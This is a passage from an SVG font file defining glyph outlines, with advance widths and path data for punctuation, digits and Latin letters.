<glyph unicode="&#x26;" horiz-adv-x="1400" d="M111 406q0 124 68.5 227.5t185.5 142.5v4q-4 1 -11 4t-26.5 15t-38 27t-40.5 41.5t-37.5 57.5t-26.5 76.5t-11 96.5q0 176 123 274t321 98q36 0 80 -5.5t70 -10.5l27 -6l-52 -162q-59 12 -108 12q-111 0 -183.5 -59t-72.5 -162q0 -30 6 -58.5t24 -60t46 -54.5t77 -38.5 t113 -15.5h268v197h199v-197h193v-176h-193v-193q0 -240 -133.5 -373t-366.5 -133q-223 0 -362 122.5t-139 308.5zM317 416q0 -107 81.5 -180.5t213.5 -73.5q143 0 222 81t79 246v185h-276q-153 0 -236.5 -68t-83.5 -190z" />
<glyph unicode="'" horiz-adv-x="415" d="M129 1085v385h158v-385h-158z" />
<glyph unicode="(" horiz-adv-x="618" d="M150 696q0 432 237 809h174q-231 -385 -231 -811q0 -470 231 -889h-174q-112 188 -174.5 418t-62.5 473z" />
<glyph unicode=")" horiz-adv-x="618" d="M57 -195q232 420 232 889q0 424 -232 811h174q238 -379 238 -809q0 -243 -62.5 -473t-175.5 -418h-174z" />
<glyph unicode="*" horiz-adv-x="956" d="M74 1085l53 172l272 -102l-14 291h186l-16 -291l274 102l56 -172l-281 -75v-4l180 -226l-145 -106l-158 241h-4l-160 -241l-147 106l182 226v4z" />
<glyph unicode="+" horiz-adv-x="1398" d="M158 504v160h458v503h168v-503h457v-160h-457v-504h-168v504h-458z" />
<glyph unicode="," horiz-adv-x="522" d="M55 -207l127 422h203l-172 -422h-158z" />
<glyph unicode="-" horiz-adv-x="966" d="M184 496v176h598v-176h-598z" />
<glyph unicode="." horiz-adv-x="520" d="M156 0v211h209v-211h-209z" />
<glyph unicode="/" horiz-adv-x="827" d="M74 -86l520 1610h176l-520 -1610h-176z" />
<glyph unicode="0" horiz-adv-x="1280" d="M129 725q0 129 16 237.5t53 204t94.5 161.5t145.5 104t201 38t201.5 -38t146.5 -104t95 -161.5t53 -204t16 -237.5q0 -130 -16 -239t-53 -205t-95 -162.5t-146.5 -105t-201.5 -38.5t-201 38.5t-145.5 105t-94.5 162.5t-53 205t-16 239zM336 725q0 -125 14.5 -222 t48 -176.5t94 -122t146.5 -42.5q70 0 123 29t87 78t56 122t30.5 154t8.5 180q0 98 -8.5 178.5t-30.5 153t-56 121.5t-87 77.5t-123 28.5q-69 0 -122 -28.5t-87 -77.5t-55.5 -121.5t-30 -153t-8.5 -178.5z" />
<glyph unicode="1" horiz-adv-x="1001" d="M104 1110l347 336h180v-1270h315v-176h-831v176h319v934l2 90h-4q-17 -33 -70 -84l-135 -133z" />
<glyph unicode="2" horiz-adv-x="1171" d="M113 111q0 83 24 156.5t65 130t94.5 107.5t112 94t117 83.5t112 80.5t94.5 81.5t65 91.5t24 104q0 107 -72.5 173.5t-187.5 66.5q-53 0 -103 -19t-83 -46t-58.5 -54t-36.5 -46l-12 -19l-149 100q3 6 8 15.5t25 38t43.5 54.5t63 57.5t83.5 54.5t105 38.5t128 15.5 q201 0 329 -114.5t128 -300.5q0 -96 -38 -180t-99 -145t-134.5 -116t-147.5 -104t-135.5 -98t-100 -109t-39.5 -127h717v-176h-932q-10 65 -10 111z" />
<glyph unicode="3" horiz-adv-x="1161" d="M82 172l111 154q6 -6 16.5 -17t46 -38t74 -48t96.5 -38t117 -17q124 0 209.5 74.5t85.5 189.5q0 127 -97 196.5t-239 69.5h-101l-47 109l316 371q21 24 43.5 47.5t34.5 34.5l12 12v4q-43 -6 -123 -6h-490v176h865v-129l-394 -453q60 -6 117.5 -24.5t113.5 -53t98.5 -81.5 t68.5 -115.5t26 -149.5q0 -93 -35.5 -177.5t-98 -148t-156 -101.5t-201.5 -38q-60 0 -118.5 11t-103.5 28t-86 38t-69.5 42.5t-50 38.5t-31.5 28z" />
<glyph unicode="4" horiz-adv-x="1241" d="M63 387v127l668 932h232v-887h196v-172h-196v-387h-199v387h-701zM287 559h477v526q0 30 2 66t4 57l2 21h-4q-33 -68 -72 -119l-409 -547v-4z" />
<glyph unicode="5" horiz-adv-x="1153" d="M98 176l113 148q5 -6 13.5 -16.5t39 -37.5t64.5 -47.5t88.5 -37.5t111.5 -17q131 0 224.5 82t93.5 211t-94.5 213t-235.5 84q-63 0 -124 -18t-90 -36l-30 -18l-116 43l71 717h729v-176h-553l-34 -305q-1 -19 -3.5 -38t-5.5 -29l-2 -9h4q9 5 25.5 12.5t65.5 20t96 12.5 q224 0 364 -136t140 -335q0 -209 -146 -348.5t-366 -139.5q-83 0 -159.5 20.5t-125.5 50t-86.5 59.5t-54.5 51z" />
<glyph unicode="6" horiz-adv-x="1226" d="M121 657q0 114 24 227t76.5 219.5t127 187.5t184 130t239.5 49q76 0 146 -15t102 -29l33 -15l-66 -174q-10 5 -28.5 13t-73 21t-105.5 13q-96 0 -175 -41.5t-131 -111.5t-84 -154t-44 -178h4q45 61 134.5 99t185.5 38q202 0 329 -136.5t127 -340.5q0 -213 -130.5 -348.5 t-333.5 -135.5q-235 0 -388 188.5t-153 493.5zM334 561q0 -94 42 -186t118.5 -152.5t164.5 -60.5q122 0 194.5 84t72.5 213q0 134 -80.5 219.5t-216.5 85.5q-121 0 -208 -61.5t-87 -141.5z" />
<glyph unicode="7" horiz-adv-x="1083" d="M72 1270v176h966v-139l-653 -1307h-209l563 1139q18 36 39 69.5t33 48.5l12 15v4q-32 -6 -106 -6h-645z" />
<glyph unicode="8" horiz-adv-x="1243" d="M117 418q0 62 21 122.5t48 100.5t65 78.5t57.5 54t39.5 29.5q-162 117 -162 289q0 59 17.5 113.5t54 103t88.5 84t127 56.5t164 21q203 0 329 -105t126 -282q0 -185 -172 -376q93 -57 144.5 -130t51.5 -178q0 -113 -60 -209t-174.5 -155.5t-260.5 -59.5q-218 0 -361 124 t-143 319zM324 430q0 -120 88.5 -196t208.5 -76q118 0 202 69.5t84 178.5q0 38 -18 71.5t-43 57t-71.5 50.5t-82 43.5t-97.5 44t-97 44.5q-174 -122 -174 -287zM387 1087q0 -26 6 -49.5t21 -44t29.5 -37.5t41 -34.5t46 -29.5t55 -28.5t57 -25.5t62.5 -26t61 -26 q15 15 30.5 34.5t40.5 57.5t40.5 89t15.5 104q0 99 -71.5 158t-186.5 59q-116 0 -182 -57t-66 -144z" />
<glyph unicode="9" horiz-adv-x="1226" d="M100 987q0 213 131 348t334 135q114 0 213.5 -49t172 -136.5t114 -216t41.5 -280.5q0 -114 -24 -227t-76.5 -219.5t-127 -187.5t-184 -130t-239.5 -49q-76 0 -146.5 15t-102.5 30l-32 15l66 176q10 -5 28.5 -13.5t72.5 -22t105 -13.5q96 0 175 41.5t131 111.5t84.5 154 t44.5 178h-4q-44 -61 -133.5 -98t-186.5 -37q-203 0 -330 135.5t-127 339.5zM301 987q0 -135 80 -220t217 -85q120 0 207.5 62.5t87.5 140.5q0 94 -42.5 186t-119 152.5t-164.5 60.5q-123 0 -194.5 -83.5t-71.5 -213.5z" />
<glyph unicode=":" horiz-adv-x="598" d="M195 0v211h208v-211h-208zM195 825v211h208v-211h-208z" />
<glyph unicode=";" horiz-adv-x="600" d="M96 -207l109 422h205l-154 -422h-160zM207 825v211h209v-211h-209z" />
<glyph unicode="&#x3c;" horiz-adv-x="1142" d="M68 516v135l954 426v-182l-733 -309v-4l733 -310v-182z" />
<glyph unicode="=" horiz-adv-x="1370" d="M197 309v160h977v-160h-977zM197 696v160h977v-160h-977z" />
<glyph unicode="&#x3e;" horiz-adv-x="1142" d="M121 90v182l731 310v4l-731 309v182l954 -426v-135z" />
<glyph unicode="?" horiz-adv-x="1001" d="M66 1343q6 5 16 14t45.5 32t74 40t99.5 31.5t123 14.5q178 0 303 -104.5t125 -270.5q0 -69 -20 -127.5t-52 -100.5t-70.5 -79.5t-77.5 -71.5t-71 -68.5t-52 -78t-20 -93.5v-84h-194v97q0 63 19 118t50 94.5t68 76t74 69.5t68 66.5t50 76t19 90.5q0 87 -66 145t-167 58 q-57 0 -115.5 -21.5t-88.5 -42.5l-30 -22zM291 0v199h203v-199h-203z" />
<glyph unicode="@" horiz-adv-x="1681" d="M121 494q0 156 58.5 296t158 241t238 160.5t292.5 59.5q115 0 206.5 -22.5t152 -61t100.5 -92t57 -113t17 -126.5v-580h147v-150h-559q-187 0 -305.5 114t-118.5 274q0 102 51.5 189t149.5 140.5t223 53.5h221q-3 91 -90.5 150.5t-240.5 59.5q-155 0 -284.5 -81.5 t-202.5 -217.5t-73 -294q0 -162 72 -295.5t206 -213t304 -79.5v-162q-169 0 -315 58.5t-247.5 159.5t-159.5 239t-58 293zM766 496q0 -101 67.5 -170.5t170.5 -69.5h206v483h-202q-105 0 -173.5 -70.5t-68.5 -172.5z" />
<glyph unicode="A" horiz-adv-x="1286" d="M16 0l521 1446h213l520 -1446h-211l-146 416h-544l-144 -416h-209zM422 584h438l-160 458q-11 33 -25 84t-22 86l-8 35h-4q-32 -131 -57 -205z" />
<glyph unicode="B" horiz-adv-x="1298" d="M197 0v1446h505q187 0 303.5 -99t116.5 -270q0 -105 -48 -186.5t-132 -124.5v-4q112 -33 175 -129t63 -221q0 -99 -37 -178.5t-100.5 -130t-147.5 -77t-180 -26.5h-518zM399 176h326q116 0 182 67t66 179q0 111 -68.5 179.5t-181.5 68.5h-324v-494zM399 838h303 q97 0 155 61t58 158t-57 155t-160 58h-299v-432z" />
<glyph unicode="C" horiz-adv-x="1478" d="M98 731q0 155 56.5 292t153.5 235t234 155t292 57q97 0 187 -19.5t149 -47.5t104 -56t66 -47l20 -20l-100 -152q-7 6 -19.5 17t-55 38t-88.5 48t-115.5 38t-139.5 17q-158 0 -281 -74.5t-188.5 -200t-65.5 -278.5q0 -155 66 -284.5t190 -208t281 -78.5q76 0 150 19.5 t125 47t91.5 55t59.5 46.5l20 20l109 -145q-8 -9 -23.5 -24.5t-69.5 -55.5t-114 -70t-156.5 -55t-197.5 -25q-213 0 -383 100.5t-263.5 273t-93.5 382.5z" />
<glyph unicode="D" horiz-adv-x="1515" d="M197 0v1446h479q221 0 386 -84t256 -248t91 -389q0 -340 -198.5 -532.5t-534.5 -192.5h-479zM399 176h263q249 0 393.5 143t144.5 406q0 261 -145 403t-393 142h-263v-1094z" />
<glyph unicode="E" horiz-adv-x="1173" d="M197 0v1446h839v-176h-637v-453h519v-176h-519v-465h672v-176h-874z" />
<glyph unicode="F" horiz-adv-x="1067" d="M197 0v1446h796v-176h-594v-475h506v-177h-506v-618h-202z" />
<glyph unicode="G" horiz-adv-x="1556" d="M100 725q0 155 56.5 292.5t154 237t235 157.5t292.5 58q97 0 187 -18t148.5 -43.5t104 -51t66.5 -43.5l20 -18l-102 -151q-7 6 -19 15.5t-53.5 33.5t-86 43t-112.5 34t-137 15q-165 0 -290.5 -75t-190 -201t-64.5 -281q0 -165 70 -295t191.5 -201t271.5 -71 q70 0 138 18.5t115 45t83.5 53t54.5 45.5l18 18v209h-235v176h420v-727h-179v90l3 62h-5q-6 -7 -18.5 -19t-55 -42.5t-90 -54t-124 -42.5t-156.5 -19q-145 0 -275 55.5t-226.5 153t-153 238.5t-56.5 303z" />
<glyph unicode="H" horiz-adv-x="1548" d="M197 0v1446h202v-635h750v635h203v-1446h-203v635h-750v-635h-202z" />
<glyph unicode="I" horiz-adv-x="595" d="M197 0v1446h202v-1446h-202z" />
<glyph unicode="J" horiz-adv-x="1099" d="M61 416v71h201v-61q0 -71 19.5 -124t53 -82.5t73 -43.5t84.5 -14q95 0 160 62t65 194v852h-365v176h568v-1030q0 -91 -24.5 -166t-66 -125t-97.5 -84.5t-117 -50t-126 -15.5t-125.5 15.5t-116 50.5t-96.5 85t-65.5 125t-24.5 165z" />
<glyph unicode="K" horiz-adv-x="1275" d="M197 0v1446h202v-608h215l365 608h223l-420 -686v-4l447 -756h-230l-385 664h-215v-664h-202z" />
<glyph unicode="L" horiz-adv-x="1083" d="M197 0v1446h202v-1270h648v-176h-850z" />
<glyph unicode="M" horiz-adv-x="1773" d="M152 0l116 1446h213l332 -782q15 -36 33 -84.5t28 -79.5l11 -31h4q39 115 72 195l331 782h213l117 -1446h-201l-71 911q-4 39 -4 93v33q0 31 1 53l1 34h-5q-42 -133 -77 -213l-289 -651h-180l-287 651q-15 35 -34.5 89t-31.5 91l-12 37h-4v-62q0 -89 -4 -155l-70 -911 h-202z" />
<glyph unicode="N" horiz-adv-x="1550" d="M197 0v1446h200l643 -940q24 -35 54 -87t48 -87l19 -35h4q-14 129 -14 209v940h203v-1446h-199l-645 938q-24 36 -54 88.5t-48 87.5l-19 35h-4q14 -129 14 -211v-938h-202z" />
<glyph unicode="O" horiz-adv-x="1681" d="M98 733q0 153 58 290t157 235t237 155t292 57q206 0 376 -97t267.5 -266t97.5 -374q0 -210 -97.5 -384t-267.5 -274t-376 -100q-154 0 -292 59t-237 160t-157 241.5t-58 297.5zM307 733q0 -160 72 -291.5t194.5 -205.5t268.5 -74q109 0 207.5 44t169.5 119t113 181.5 t42 226.5q0 155 -71 282t-193 199t-268 72t-268.5 -72t-194.5 -199.5t-72 -281.5z" />
<glyph unicode="P" horiz-adv-x="1243" d="M197 0v1446h528q200 0 327.5 -124.5t127.5 -328.5t-128 -331t-327 -127h-326v-535h-202zM399 711h293q130 0 205.5 75.5t75.5 206.5q0 130 -74.5 203.5t-204.5 73.5h-295v-559z" />
<glyph unicode="Q" horiz-adv-x="1705" d="M100 731q0 154 57.5 291.5t156.5 235.5t236.5 155t291.5 57q207 0 377.5 -97t268 -266.5t97.5 -375.5q0 -133 -45 -256t-125 -221l172 -164l-119 -127l-168 168q-195 -156 -458 -156q-123 0 -237 38t-205 107t-159 162t-104.5 208.5t-36.5 240.5zM309 731 q0 -159 70.5 -290t192.5 -205t270 -74q83 0 167 28t146 78l-170 166l119 127l166 -168q106 145 106 338q0 157 -70.5 284.5t-192.5 199t-271 71.5q-111 0 -209.5 -42t-169.5 -115.5t-112.5 -177t-41.5 -220.5z" />
<glyph unicode="R" horiz-adv-x="1312" d="M197 0v1446h442q179 0 270 -33q112 -42 178 -146t66 -245q0 -138 -71 -245.5t-189 -145.5v-4q16 -19 43 -66l307 -561h-229l-305 575h-310v-575h-202zM399 752h291q119 0 187.5 70.5t68.5 191.5q0 159 -115 223q-64 33 -198 33h-234v-518z" />
<glyph unicode="S" horiz-adv-x="1118" d="M86 166l115 153q6 -6 17.5 -16.5t49.5 -37.5t78.5 -47t101.5 -37t121 -17q106 0 178 57t72 156q0 50 -24 91t-64.5 71t-93 57t-110.5 52t-116 51.5t-110.5 61t-93 76t-64.5 100.5t-24 130q0 170 132.5 286.5t334.5 116.5q75 0 145 -15t115.5 -36t81 -42.5t51.5 -36.5 l16 -15l-92 -168q-5 5 -15.5 13.5t-43 30t-67.5 38t-87 30t-104 13.5q-114 0 -188 -61.5t-74 -149.5q0 -48 24 -87t64.5 -67t93 -53t110.5 -49t116 -50.5t110.5 -61.5t93 -78t64.5 -105t24 -137q0 -173 -125 -290.5t-334 -117.5q-86 0 -167 19.5t-135 48t-96 56.5t-61 47z " />
<glyph unicode="T" horiz-adv-x="1214" d="M10 1270v176h1194v-176h-495v-1270h-203v1270h-496z" />
<glyph unicode="U" horiz-adv-x="1490" d="M176 512v934h203v-934q0 -164 98.5 -257t265.5 -93q169 0 269 93.5t100 260.5v930h203v-934q0 -241 -158 -389t-412 -148t-411.5 148t-157.5 389z" />
<glyph unicode="V" horiz-adv-x="1294" d="M12 1446h219l359 -1022q12 -35 26 -84.5t22 -81.5l7 -33h4q29 121 56 199l362 1022h215l-532 -1446h-203z" />
<glyph unicode="W" horiz-adv-x="1941" d="M68 1446h208l256 -1061q8 -35 15 -73.5t9 -59.5l3 -21h4q11 74 31 154l283 1061h180l282 -1061q9 -36 16.5 -74.5t10.5 -58.5l4 -21h4q7 76 27 154l266 1061h209l-379 -1446h-235l-250 938q-11 41 -22 92t-16 82l-5 31h-4q-18 -113 -43 -205l-250 -938h-236z" />
<glyph unicode="X" horiz-adv-x="1253" d="M45 0l457 745l-428 701h233l228 -391l92 -172h4q41 92 88 172l227 391h234l-428 -701l456 -745h-229l-262 444l-92 166h-4q-39 -86 -86 -166l-263 -444h-227z" />
<glyph unicode="Y" horiz-adv-x="1204" d="M16 1446h230l268 -475q20 -36 42 -81.5t34 -73.5l12 -28h4q43 101 88 183l264 475h230l-483 -834v-612h-203v612z" />
<glyph unicode="Z" horiz-adv-x="1243" d="M84 0v135l696 1004q24 36 50.5 69.5t40.5 48.5l14 15v4q-39 -6 -109 -6h-655v176h1016v-133l-697 -1006q-24 -36 -50 -68.5t-40 -47.5l-14 -15v-4q38 4 108 4h701v-176h-1061z" />
<glyph unicode="[" horiz-adv-x="616" d="M207 -195v1700h338v-149h-164v-1399h164v-152h-338z" />
<glyph unicode="\" horiz-adv-x="827" d="M57 1524h176l521 -1610h-176z" />
<glyph unicode="]" horiz-adv-x="618" d="M72 -43h166v1399h-166v149h340v-1700h-340v152z" />
<glyph unicode="^" horiz-adv-x="1255" d="M141 506l410 940h129l407 -940h-178l-295 721l-292 -721h-181z" />
<glyph unicode="_" horiz-adv-x="1216" d="M57 0h1102v-160h-1102v160z" />
<glyph unicode="`" d="M330 1806h213l149 -260h-168z" />
<glyph unicode="a" horiz-adv-x="1081" d="M72 291q0 70 26.5 127t66 93.5t99 63t113 40t120.5 21.5t108.5 9.5t90.5 1.5h45v19q0 227 -227 227q-45 0 -91 -10.5t-80 -25t-62 -29t-42 -24.5l-14 -11l-82 145q6 5 17.5 13.5t50 29.5t80.5 37t107 29.5t132 13.5q197 0 303.5 -105t106.5 -301v-655h-184v98l4 82h-4 q-2 -4 -5.5 -11.5t-17 -29t-30 -40.5t-45 -43t-60.5 -41t-77.5 -28.5t-96.5 -11.5q-143 0 -247.5 84.5t-104.5 231.5zM272 301q0 -68 51.5 -117t143.5 -49q80 0 145 51t98 125.5t33 153.5v33h-51q-39 0 -71 -1t-77.5 -5.5t-80.5 -12.5t-72.5 -22.5t-62 -35t-40.5 -51.5 t-16 -69z" />
<glyph unicode="b" horiz-adv-x="1228" d="M156 0v1446h198v-473l-4 -88h4q4 7 11 19t35.5 42.5t63 53.5t94.5 42t128 19q208 0 331.5 -150t123.5 -393q0 -245 -132 -394t-339 -149q-65 0 -122 18.5t-93 44.5t-62.5 52.5t-37.5 45.5l-11 18h-4q4 -33 4 -78v-76h-188zM348 514q0 -96 31 -177.5t99.5 -136.5 t162.5 -55q128 0 213.5 100t85.5 271q0 167 -81.5 269t-211.5 102q-128 0 -213.5 -93.5t-85.5 -279.5z" />
<glyph unicode="c" horiz-adv-x="1120" d="M82 518q0 232 156.5 387.5t398.5 155.5q73 0 139.5 -15.5t110 -38t76.5 -45t48 -38.5l15 -15l-94 -139q-5 5 -13.5 13t-37 28.5t-59.5 36t-79.5 28.5t-97.5 13q-157 0 -258.5 -104.5t-101.5 -264.5t103 -266.5t263 -106.5q54 0 107 14.5t89.5 35t66 41t43.5 34.5l14 15 l80 -146q-6 -7 -17 -18t-50.5 -39.5t-84 -50.5t-115.5 -40t-147 -18q-243 0 -399 154t-156 389z" />
<glyph unicode="d" horiz-adv-x="1230" d="M88 518q0 245 131 394t338 149q67 0 125 -17t92 -41t59 -48t35 -41l9 -17h4q-4 31 -4 70v479h198v-1446h-188v98l2 70h-4q-3 -8 -10.5 -21t-35.5 -46t-63.5 -58.5t-97 -46.5t-133.5 -21q-209 0 -333 149.5t-124 393.5zM291 518q0 -167 81.5 -269t211.5 -102 q60 0 112 21.5t95 65t67.5 117.5t24.5 169q0 96 -31 177.5t-99.5 136.5t-162.5 55q-128 0 -213.5 -100t-85.5 -271z" />
<glyph unicode="e" horiz-adv-x="1136" d="M84 518q0 244 146.5 393.5t371.5 149.5q142 0 245.5 -66.5t153.5 -175t50 -244.5l-7 -86h-755q7 -163 108.5 -252.5t247.5 -89.5q50 0 100 12.5t85.5 30.5t64 35.5t43.5 30.5l14 12l82 -145q-6 -6 -18 -16t-51.5 -35.5t-83 -45t-111.5 -35.5t-137 -16q-160 0 -286 71.5 t-194.5 195t-68.5 276.5zM295 639h553q-4 128 -74.5 196t-175.5 68q-117 0 -199.5 -69.5t-103.5 -194.5z" />
<glyph unicode="f" horiz-adv-x="688" d="M82 862v160h129v49q0 97 28.5 170.5t70 113t98 64t101 31t91.5 6.5q20 0 39 -1.5t28 -2.5l9 -2v-170q-20 4 -51 4q-27 0 -52 -4t-56.5 -17.5t-54.5 -35.5t-38.5 -63.5t-15.5 -96.5v-45h245v-160h-245v-862h-197v862h-129z" />
<glyph unicode="g" horiz-adv-x="1214" d="M88 543q0 228 121.5 373t331.5 145q70 0 129 -16t93.5 -38.5t59.5 -45t34 -38.5l9 -16h4q-2 15 -2 33v96h191v-993q0 -123 -44 -217t-119.5 -148.5t-166 -81t-192.5 -26.5q-186 0 -355 86l66 156q14 -8 39.5 -19.5t100.5 -31t144 -19.5q146 0 237 71t91 220v76l2 65h-4 q-97 -162 -307 -162q-141 0 -247.5 70.5t-161 190.5t-54.5 270zM289 547q0 -163 81.5 -263t219.5 -100q120 0 197 84.5t77 272.5q0 348 -293 348q-134 0 -208 -91t-74 -251z" />
<glyph unicode="h" horiz-adv-x="1234" d="M156 0v1446h198v-531l-4 -86h4q40 89 141 160.5t242 71.5q182 0 269.5 -99t87.5 -298v-664h-199v618q0 60 -8 103t-28 81t-60.5 57.5t-100.5 19.5q-116 0 -205 -71t-122 -185q-17 -58 -17 -138v-485h-198z" />
<glyph unicode="i" horiz-adv-x="509" d="M154 1243v203h200v-203h-200zM156 0v1036h198v-1036h-198z" />
<glyph unicode="j" horiz-adv-x="507" d="M-113 -248q18 -2 45 -2t52.5 4t58.5 18t56.5 37t40 66.5t16.5 101.5v1059h196v-1071q0 -71 -15.5 -130t-40 -98.5t-59.5 -69t-70 -46t-75.5 -27t-71.5 -13.5t-63 -3l-70 4v170zM154 1243v203h200v-203h-200z" />
<glyph unicode="k" horiz-adv-x="1077" d="M156 0v1446h198v-791h146l282 381h226l-344 -456v-5l383 -575h-232l-311 487h-150v-487h-198z" />
<glyph unicode="l" horiz-adv-x="542" d="M143 283v1163h199v-1129q0 -86 29 -116.5t82 -30.5l34 2v-176q-30 -4 -65 -4q-40 0 -73 5t-73 23t-67.5 48t-46.5 85t-19 130z" />
<glyph unicode="m" horiz-adv-x="1871" d="M156 0v1036h192v-137l-4 -76h4q39 96 139.5 167t217.5 71q258 0 311 -236h4q45 99 146.5 167.5t222.5 68.5q174 0 258 -99t84 -298v-664h-199v621q0 60 -7 103t-26 80.5t-57 57t-94 19.5q-104 0 -183 -76.5t-108 -188.5q-15 -65 -15 -143v-473h-198v621q0 46 -3 79.5 t-14 69.5t-30 59t-53 37.5t-80 14.5q-109 0 -187.5 -78t-109.5 -195q-13 -53 -13 -135v-473h-198z" />
<glyph unicode="n" horiz-adv-x="1234" d="M156 0v1036h192v-137l-4 -76h4q17 38 47.5 76t77 76t115.5 62t149 24q182 0 269.5 -99t87.5 -298v-664h-199v618q0 60 -8 103t-28 81t-60.5 57.5t-100.5 19.5q-117 0 -205.5 -70t-121.5 -184q-17 -58 -17 -140v-485h-198z" />
<glyph unicode="o" horiz-adv-x="1277" d="M80 520q0 115 44 216t119.5 172t178 112t217.5 41t217.5 -41t178 -112t119.5 -172t44 -216q0 -154 -75 -279.5t-203 -195.5t-281 -70t-281 70t-203 195.5t-75 279.5zM283 520q0 -161 104 -267t252 -106q150 0 253 106t103 267q0 159 -103 264t-253 105q-148 0 -252 -105 t-104 -264z" />
<glyph unicode="p" horiz-adv-x="1228" d="M156 -410v1446h182v-88l-4 -76h4q4 8 11.5 20.5t36.5 45t65 57.5t99 45.5t136 20.5q208 0 331.5 -150t123.5 -393q0 -244 -132 -393.5t-337 -149.5q-64 0 -120 17.5t-90.5 42.5t-60.5 50t-37 43l-10 17h-4q4 -37 4 -90v-465h-198zM348 514q0 -95 32.5 -177.5t101 -137 t159.5 -54.5q128 0 213.5 100t85.5 271q0 167 -81.5 269t-211.5 102q-128 0 -213.5 -93.5t-85.5 -279.5z" />
<glyph unicode="q" horiz-adv-x="1230" d="M88 518q0 245 131 394t338 149q67 0 125.5 -18t94 -43.5t61.5 -51t36 -43.5l11 -18h4q-2 30 -2 71v78h188v-1446h-198v473l4 91h-4q-4 -7 -11 -19t-35 -43t-62.5 -54.5t-94.5 -43t-129 -19.5q-209 0 -333 149.5t-124 393.5zM291 518q0 -167 81.5 -269t211.5 -102 q60 0 112 21.5t95 65t67.5 117.5t24.5 169q0 96 -31 177.5t-99.5 136.5t-162.5 55q-128 0 -213.5 -100t-85.5 -271z" />
<glyph unicode="r" horiz-adv-x="768" d="M156 0v1036h192v-180l-4 -78h4q37 119 124.5 195t203.5 76l51 -5v-196q-26 6 -57 6q-97 0 -176.5 -65t-114.5 -179q-25 -82 -25 -186v-424h-198z" />
<glyph unicode="s" horiz-adv-x="917" d="M72 127l96 141q5 -5 14 -13t38.5 -29t62 -37t82.5 -29t100 -13q69 0 120.5 34.5t51.5 94.5q0 38 -29.5 68.5t-76.5 53t-104 44.5t-113.5 49.5t-103.5 62t-76.5 89t-29.5 123.5q0 137 107 216t268 79q64 0 121.5 -12t94.5 -28.5t65 -33.5t40 -29l13 -12l-80 -149 q-4 4 -11 10t-32 22t-52.5 28t-71 22t-89.5 10q-71 0 -120.5 -32t-49.5 -95q0 -37 29.5 -67t76.5 -51.5t103.5 -43t113.5 -49.5t104 -62.5t76.5 -89t29.5 -123.5q0 -131 -103.5 -216t-271.5 -85q-71 0 -137.5 15.5t-111 38t-78.5 45t-50 38.5z" />
<glyph unicode="t" horiz-adv-x="733" d="M63 862v160h142v299h192v-299h250v-160h-250v-461q0 -59 16 -103.5t39.5 -68.5t55.5 -38.5t57.5 -18.5t52.5 -4l48 4v-176q-29 -4 -70 -4q-48 0 -93 6.5t-103 30.5t-100 63.5t-71.5 113.5t-29.5 173v483h-136z" />
<glyph unicode="u" horiz-adv-x="1224" d="M141 373v663h199v-618q0 -59 7.5 -101.5t27.5 -80t60 -57t100 -19.5q152 0 243.5 115t91.5 276v485h199v-1036h-192v137l4 76h-4q-38 -90 -140 -164t-241 -74q-177 0 -266 97.5t-89 300.5z" />
<glyph unicode="v" horiz-adv-x="1028" d="M14 1036h211l252 -700q9 -25 17 -60.5t12.5 -58t5.5 -22.5h4q1 0 6 22.5t13.5 58t17.5 60.5l252 700h209l-383 -1036h-230z" />
<glyph unicode="w" horiz-adv-x="1667" d="M35 1036h211l215 -727q7 -23 13 -51t9 -43.5t4 -15.5h5q10 57 26 110l225 725h183l223 -725l29 -110h4q8 57 24 110l217 727h209l-334 -1036h-219l-215 666l-28 112h-5q-12 -59 -28 -112l-213 -666h-221z" />
<glyph unicode="x" horiz-adv-x="1040" d="M45 0l352 532l-334 504h228l192 -315l35 -62h4q19 35 35 62l193 315h227l-334 -504l352 -532h-225l-217 346l-31 57h-4q-17 -32 -31 -57l-217 -346h-225z" />
<glyph unicode="y" horiz-adv-x="1044" d="M4 1036h223l260 -678q9 -24 18.5 -55t14.5 -51l6 -19h4q17 70 35 123l252 680h215l-485 -1222q-46 -118 -135.5 -181t-200.5 -63q-52 0 -102 16t-75 32l-24 15l70 152q58 -43 121 -43q59 0 107.5 40.5t78.5 111.5l51 118z" />
<glyph unicode="z" horiz-adv-x="1058" d="M80 0v115l522 655q20 24 41.5 48t32.5 36l12 12v4q-32 -4 -100 -4h-486v170h854v-114l-522 -658q-19 -24 -41 -47.5t-35 -34.5l-12 -12v-4q35 4 103 4h526v-170h-895z" />
<glyph unicode="{" horiz-adv-x="716" d="M100 578v176q7 1 19 3t42 16t52.5 36t41.5 67t19 105v172q0 92 26 161t62 105t85.5 57.5t85.5 27t73 5.5l47 -2v-151h-28q-20 0 -38.5 -3t-45 -16t-45.5 -35t-33 -63.5t-14 -97.5v-211q0 -57 -17 -104.5t-41.5 -75t-49 -47t-41.5 -26.5l-17 -7v-4q7 -2 18 -6.5 t39.5 -24.5t50.5 -46t40 -75t18 -108v-236q0 -56 14 -97.5t33 -63.5t45.5 -35t45 -16t38.5 -3h28v-152q-18 -4 -47 -4q-37 0 -73 5.5t-85.5 27.5t-85.5 58.5t-62 105.5t-26 162v196q0 59 -18 103.5t-43.5 66t-51 35t-43.5 16.5z" />
<glyph unicode="|" horiz-adv-x="579" d="M203 -326v1948h174v-1948h-174z" />
<glyph unicode="}" horiz-adv-x="716" d="M63 -45h29q20 0 38.5 3t45 16t45.5 35t33 63.5t14 97.5v236q0 59 17 107.5t41.5 75.5t49 45.5t41.5 25.5l17 6v4q-7 2 -18 7t-39.5 26t-50.5 47.5t-40 74.5t-18 105v211q0 56 -14 97.5t-33 63.5t-45.5 35t-45 16t-38.5 3h-29v151q19 2 48 2q25 0 49.5 -2.5t58.5 -11.5 t63.5 -24t60 -42t51.5 -63.5t34.5 -91t13.5 -121.5v-172q0 -60 18 -105t43.5 -67t51 -36t43.5 -17l18 -2v-176q-7 -1 -19 -3t-42 -16t-52.5 -35.5t-41.5 -66t-19 -103.5v-196q0 -93 -26 -162t-62 -105.5t-85 -58.5t-85 -27.5t-73 -5.5l-48 4v152z" />
<glyph unicode="~" horiz-adv-x="1245" d="M137 418q0 174 75 260t212 86q59 0 107 -20.5t80 -50t61 -59.5t65 -50.5t78 -20.5q39 0 67 17.5t42.5 47t21 61.5t6.5 67h162q0 -175 -74.5 -260.5t-210.5 -85.5q-59 0 -107.5 20.5t-80 49.5t-60.5 58t-65.5 49.5t-79.5 20.5q-38 0 -66 -17.5t-42.5 -46.5t-21.5 -60.5 t-7 -65.5h-162z" />
<glyph unicode="&#xa1;" horiz-adv-x="591" d="M193 -410l14 1049h178l12 -1049h-204zM193 838v198h202v-198h-202z" />
